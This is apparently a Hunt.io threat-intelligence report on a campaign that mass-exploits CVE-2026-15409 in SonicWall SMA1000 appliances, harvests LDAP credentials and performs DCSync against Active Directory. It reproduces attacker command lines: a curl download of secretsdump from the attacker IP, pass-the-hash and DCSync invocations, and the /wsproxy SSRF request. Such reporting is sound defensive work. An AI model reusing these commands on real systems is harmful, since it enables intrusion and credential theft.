UK Council Attack Linked to SonicWall SMA 1000 Campaign

Disclosure note: Hunt.io notified the UK National Cyber Security Centre (NCSC) and other relevant national CERTs ahead of publication, so that affected organisations identified during the research could be contacted.

On 17th July 2026, the Borough Council of King's Lynn and West Norfolk detected a cyberattack affecting council services, as reported by the BBC. Hunt.io assesses with moderate confidence that the incident is linked to an actor performing mass exploitation of CVE-2026-15409 against SonicWall SMA1000 appliances. The operator gained command execution on appliances, extracted configurations, and recovered associated LDAP credentials used for follow-on attacks.

Across the wider campaign, compromised appliances were used as footholds into internal networks. The operator deployed a standalone Linux build of Impacket's secretsdump directly onto selected SonicWall appliances, enabling remote credential theft from internal Windows systems. This approach could help the actor evade detection, as organisations typically have substantially less visibility into the underlying operating systems of firewall and VPN appliances than into managed Windows and Linux hosts monitored by EDR.

The operator successfully extracted SAM and LSA secrets from nine Active Directory environments. In five environments, recovered domain-controller machine-account credentials enabled DRSUAPI-based DCSync attacks, exposing thousands of Active Directory account records. Victims spanned multiple countries and sectors, indicating opportunistic, technology-driven targeting rather than a sector-specific campaign.

Key findings

• Two days after disclosure, an operator was using a modified Rapid7 PoC to scan for and exploit CVE-2026-15409 at scale.

• The consolidated campaign data contained 250 target identifiers. LDAP configuration was recovered from 168, exposing 534 records across 160 Active Directory domains and 255 internal LDAP server addresses.

• The operator extracted LDAP configuration from policy_file.xml and decrypted the stored passwords on attacker infrastructure.

• A standalone Linux build of Impacket's secretsdump was deployed to /tmp on selected SonicWall appliances, which were then used as pivots into internal networks.

• SAM and LSA secrets were recovered from nine Active Directory domains. Full DCSync succeeded against seven domain controllers across five environments.

• Targeting was opportunistic and technology-driven, spanning multiple sectors rather than any single vertical.

• Confirmed credential theft affected Active Directory environments in several countries, including France, India, Italy and the United States. The wider target inventory spanned named gateways in the United Kingdom, Canada, Germany, Sweden, Poland, Hungary, South Korea and Hong Kong, among others.

Identified using Hunt.io

This campaign was identified by our researchers from an open-directory cloned on the 17th July from the IP address 95.181.173[.]36 with Hunt.io's AttackCapture capability:

Hunt.io's platform automatically analyses and enriches AttackCapture'd directories. The report SonicWall SMA1000 Erlang RCE Chain Harvests Active Directory Credentials Across Healthcare, Government, and Education Targets within the platform details the campaign.

Discovery

The recovered files show that the campaign began with bulk identification of internet-facing SonicWall systems.

One target file, SMA1000_shodan_http.txt, contained 2,197 entries covering 1,517 unique hosts. Its name and formatting indicate that the targets came from Shodan results. Two larger inventories were also present. us/SonicWall_shodan.txt contained almost 197,000 addresses labelled as SonicWall systems, while SonicWall_4.8.txt contained more than 48,000 address and port combinations. There is no evidence that every system in these larger inventories was tested.

The operator used cve-2026-15409-check.py to process the target lists. This script was commented in Chinese:

This appeared to be a refactored version of a public POC modified for detection-only bulk scanning.

At 07:40 on 16 July, the scanner tested all 2,197 entries in SMA1000_shodan_http.txt using 50 concurrent threads. The output, preserved in result.txt, recorded 163 successful checks. These represented 112 unique endpoints after duplicate targets were removed.

Initial Access

SonicWall disclosed CVE-2026-15409 on 14 July. The vulnerability is an unauthenticated server-side request forgery flaw in the SMA1000 WorkPlace interface. SonicWall assigned it a CVSS score of 10 and reported active exploitation. SonicWall's advisory and Rapid7's technical analysis describe how the WebSocket proxy can reach services bound to the appliance's local interface.

Rapid7 published cve-2026-15409.py, a Python proof of concept, on 15 July. Source comparison shows that the operator's cve-2026-15409-exploit.py is a direct refactor of Rapid7's public proof of concept. Its header explicitly credits Ryan Emmons and Rapid7. The WebSocket transport, Erlang handshake, External Term Format encoding, message decoding and RPC implementation closely follow the Rapid7 source.

The operator retained the exploitation core but changed the interface for repeatable, unattended use. The modified cve-2026-15409-exploit.py:

The exploit sent a request to the public WorkPlace /wsproxy WebSocket proxy endpoint. The parameters instructed the appliance to open a connection to port 1050 on its local interface:

/wsproxy?bmID=-3389<random>&serviceType=SSH&host=0.0.0.0&port=1050

                
Copy

Port 1050 exposed an Erlang distribution node named couchdb@127.0.0.1. Although this service was not accessible directly from the internet, CVE-2026-15409 allowed the operator to tunnel its binary protocol through the public WebSocket connection.

The protocol code in cve-2026-15409-exploit.py implemented the Erlang distribution handshake. It sent a node-name packet, received the appliance's challenge, calculated the required MD5 digest and authenticated using a shared Erlang cookie hard-coded into the tool.

After authentication, the script constructed Erlang External Term Format messages and sent RPC requests to the rex process. Commands were executed using os:cmd(), providing operating system command execution in the context of the appliance's couchdb account.

With command execution established, the operator moved through a structured post-exploitation workflow to extract credentials and compromise internal Active Directory environments.

Extracting LDAP configuration & credentials

The operator ran ldap_extract.py against the targets in vuln_all.txt. For each appliance, with command execution achieved via CVE-2026-15409, the script would simply retrieve the file /usr/local/extranet/etc/policy_file.xml:

The exploit_read_file() function was used to run the Linux command cat. This raw XML file was parsed with parse_ldap_config() using regex

The results were written to ldaps.txt. Of the 250 targets processed, 17 could no longer be accessed and 65 contained no LDAP configuration. The remaining 168 exposed one or more Active Directory configurations.

Collectively, ldap_extract.py recovered 534 configuration records covering 160 unique domain names and 255 internal LDAP endpoints:

The LDAP passwords stored within the ldaps.txt file were encrypted. The script decrypt_ldap_password.py was used to decrypt these in bulk from the attacker's server:

The Python comments document that the LDAP password is encrypted using a static 32-byte AES key stored in ASAPPasswordUtil.class bytecode.

Impacket running on SonicWall

At this point the threat actor has two core capabilities:

• Command execution on the SonicWall appliance, providing access to internal network

• Access to Active-Directory LDAP bind credentials

To take the compromise further, using the initial CVE-2026-15409, the script auto_secretsdump.py was leveraged to drop Impacket secretsdump tooling to the network appliance and execute remotely, using previously extracted LDAP credentials.

When this script runs against a target, it first checks for the binary /tmp/secretsdump. If it does not exist, the script downloads it using curl and makes it executable

curl -sL http://95.181.173.36:80/secretsdump -o /tmp/secretsdump && chmod +x /tmp/secretsdump 

                
Copy

With secretsdump tooling installed, using the LDAP decrypted credentials, it authenticates from the SonicWall appliance to each configured LDAP server and attempts remote credential extraction:

The output will be written to the file /tmp/dump_[DC].out.

Testing LDAP accounts for DCSync privileges

Possession of valid LDAP credentials did not automatically provide access to the entire Active Directory database. Most LDAP bind accounts were service accounts with only enough privilege to query the directory. The operator therefore used auto_dcsync.py and dcsync_domains.py to test whether any recovered account had been granted directory-replication rights.

The test limited the request to the built-in Administrator account:

/tmp/secretsdump -just-dc-user Administrator [DOMAIN]/[LDAP_USER]:[PASSWORD]@[DC]

                
Copy

The -just-dc-user option causes secretsdump to request the selected account through the Directory Replication Service Remote Protocol. The script considered the test successful if the output contained the Administrator:500: record.

Where replication rights were available, the operator attempted a complete DCSync using:

/tmp/secretsdump -just-dc -outputfile [OUTPUT] [DOMAIN]/[LDAP_USER]:[PASSWORD]@[DC]

                
Copy

The use of a separate permission test shows that the operator did not assume the recovered LDAP accounts were privileged. Instead, the workflow tested each domain and domain controller and proceeded with full replication only when the account could retrieve the Administrator record.

Reusing domain-controller machine-account hashes

The more effective follow-on technique used machine-account secrets recovered during the earlier LSA extraction. When secretsdump queried a domain controller's LSA secrets, the output could expose its $MACHINE.ACC value as the NTLM hash of an account such as DOMAIN\DC01$.

Domain-controller computer accounts possess directory-replication privileges as part of their normal role. Consequently, possession of a current domain-controller machine-account hash can allow an attacker to authenticate as that domain controller and request directory secrets through DRSUAPI.

The scripts dcsync_machine_accounts.py, dcsync_bg.py and test_dcsync_manual.py automated this escalation. They parsed the earlier files in dump_results, searched for account names ending in $, extracted the accompanying NTLM hashes and associated them with the relevant domain controller and compromised SonicWall appliance.

The operator then performed pass-the-hash authentication from the appliance:

/tmp/secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:{mach_hash} "{netbios}/{comp}"@{dc_host} -just-dc -outputfile {outfile}

                
Copy

The fixed value before the recovered NTLM hash is the standard empty LM hash. The -just-dc option instructed Impacket to retrieve domain credential material through the Directory Replication Service Remote Protocol. It did not copy the locked NTDS.dit file from disk.

Output was initially written beneath /tmp on the SonicWall appliance. The script treated an .ntds file containing more than five lines as successful, then retrieved .ntds, .ntds.kerberos and, where present, .ntds.cleartext through additional CVE-2026-15409 command-execution requests. These files were subsequently saved on the attacker infrastructure.

The retained dcsync_bg.log records 12 unique domain-controller combinations being tested. Six controller targets across four domains succeeded during that run. Subsequent activity against an additional domain brought the confirmed total to five fully replicated Active Directory domains and seven domain-controller targets.

Other scripts expanded the workflow with fallback credential types. test_dcsync_manual.py tried candidates in the following order: a recovered machine-account hash, the decrypted LDAP account and an Administrator hash obtained during the initial secretsdump operation. The retained results most clearly associate successful full-domain replication with domain-controller machine-account hashes.

Targeting & Victimology

The 250 entries in vuln_all.txt do not represent 250 separate organisations. Several organisations operated multiple SonicWall gateways, including geographically distributed and high-availability appliances. Likewise, individual appliances frequently contained configurations for multiple domains, subsidiaries or customers.

The appliances associated with confirmed SAM and LSA theft were distributed across infrastructure in France, India, Italy and the United States. The wider target inventory was considerably broader, containing named gateways associated with organisations in the United Kingdom, Canada, Germany, Sweden, Poland, Hungary, South Korea and Hong Kong, among other locations.

Named systems in the target list covered:

• Local government and law enforcement.

• Healthcare providers and medical organisations.

• Investment and financial-services firms.

• Universities and educational institutions.

• Manufacturing and engineering businesses.

• Managed IT and professional-services providers.

The diversity of countries and sectors, combined with the use of bulk scanning, threaded exploitation and automated credential testing, indicates opportunistic, technology-driven targeting. The operator initially selected organisations because they exposed a vulnerable SonicWall SMA1000 appliance, not because they belonged to a particular vertical.

Target selection became more discriminating after initial access. Appliances without LDAP configurations were abandoned, while environments with decryptable credentials and reachable domain controllers progressed to SAM and LSA collection. DCSync was then attempted only where the preceding dump exposed a suitable privileged account or domain-controller machine-account hash. This created a narrowing funnel from 250 exploitable appliances to five fully replicated Active Directory domains.

Attribution

This campaign was not attributed to any named threat group or country. Notably, multiple of the scripts leveraged by the threat actor contained extensive Chinese comments and logging, although this was not sufficient for an attribution.

BBC's reporting stated the council detected the cyberattack on July 17th. Hunt.io telemetry recovered from the open-directory suggests vulnerability scanning started on 16th July, with active exploitation observed on the 17th. Later that day, the open-directory was cloned. Hunt.io assesses with moderate confidence that the attack captured in the platform on 17 July is the same incident the council publicly reported that day.

MITRE ATT&CK mapping

Indicators and Observables

Table 1: Network indicators

Table 2: File indicators

Conclusion

The retained evidence shows how quickly public vulnerability research can be operationalised. By 16 July 2026, two days after SonicWall disclosed CVE-2026-15409, a threat actor was using modified, multithreaded tooling to identify vulnerable SMA 1000 appliances, extract and decrypt LDAP credentials, and automate follow-on credential theft against internal Active Directory environments.

Deploying a standalone Linux build of Impacket directly to compromised edge appliances made the operation both scalable and evasive. Most organisations have substantially less process, file and network visibility into the underlying operating systems of security appliances than they have through EDR on managed Windows and Linux hosts. This visibility gap allowed the SonicWall appliances to function as internal attack platforms from which the operator collected SAM and LSA secrets and, in five AD domains, performed full DCSync replication.

This entire campaign was sitting in an open directory, captured by Hunt.io AttackCapture the same day the operator was still using it. The exploitation was sophisticated. Catching it was not. Book a free demo to see exposed attacker infrastructure before it becomes an incident.